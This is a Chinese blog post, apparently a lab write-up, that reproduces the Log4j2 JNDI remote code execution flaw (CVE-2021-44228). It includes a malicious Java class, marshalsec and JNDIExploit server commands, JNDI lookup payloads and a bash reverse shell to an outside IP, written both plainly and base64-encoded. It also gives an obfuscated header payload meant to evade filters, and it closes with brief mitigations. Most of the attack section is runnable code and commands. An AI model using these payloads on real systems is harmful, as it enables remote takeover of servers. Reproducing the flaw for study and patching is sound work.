log4j2RCE(CVE-2021-44228)漏洞利用与分析

漏洞描述:

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

影响范围:

Apache Log4j 2.x < 2.15.0-rc2

漏洞复现

本地复现

编写本地exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xpath.internal.objects.XString;

public class exp {
static {
// System.out.print("正在执行命令");
try {
Runtime rt = Runtime.getRuntime();
// String[] commands = {"bash", "-i", ">&", "/dev/tcp/139.196.234.164/5555 0>&1"};
String[] commands = {"Calc"};
Process pc = rt.exec(commands);
System.out.println("正在执行命令");
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}

本地编译为class文件

1
javac exp.java

使用marshalsec本地启用恶意监听服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.81:8000/#exp" 7788

image-20211223155305869

使用Python3在恶意类文件路径下启动一个简易http服务

1
python3 -m http.server

image-20211223155241001

插入恶意payload执行,触发命令执行

1
${jndi:ldap://192.168.1.81:7788/exp}

image-20211223155523118

线上靶机复现-shell反弹

使用JNDI启动恶意服务

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i "x.x.x.x" -p 6666

image-20211223155823005

构造攻击payload:

1
payload=${jndi:ldap://x.x.x.x:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMzkuMTk2LjIzNC4xNjQvNTU1NSAwPiYx}

注:后面command需要经过一次base64编码,两次URL编码处理

1
command: bash -i >& /dev/tcp/x.x.x.x/5555 0>&1

image-20211223160404738

image-20211223160320680

线上靶机复现-回显输出

使用vulfocus上的靶机测试

Log4j2 jndi injection fuzz tool对主机进行模糊测试,找到传参点在header

image-20211228131736368

使用JNDI启动恶意服务

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i "x.x.x.x" -p 6666

image-20211228131104816

抓包修改header为攻击payload

1
2
X-Api-Version: ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//139.196.234.164:1389/TomcatBypass/TomcatEcho}
cmd:ls

image-20211228132305371

修复方案

截止到目前,网上的修复方法大致是这些:

补丁链接: log4j-2.15.0-rc2

1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。

作者

丨greetdawn丨

发布于

2021-12-11

更新于

2022-04-01

许可协议

评论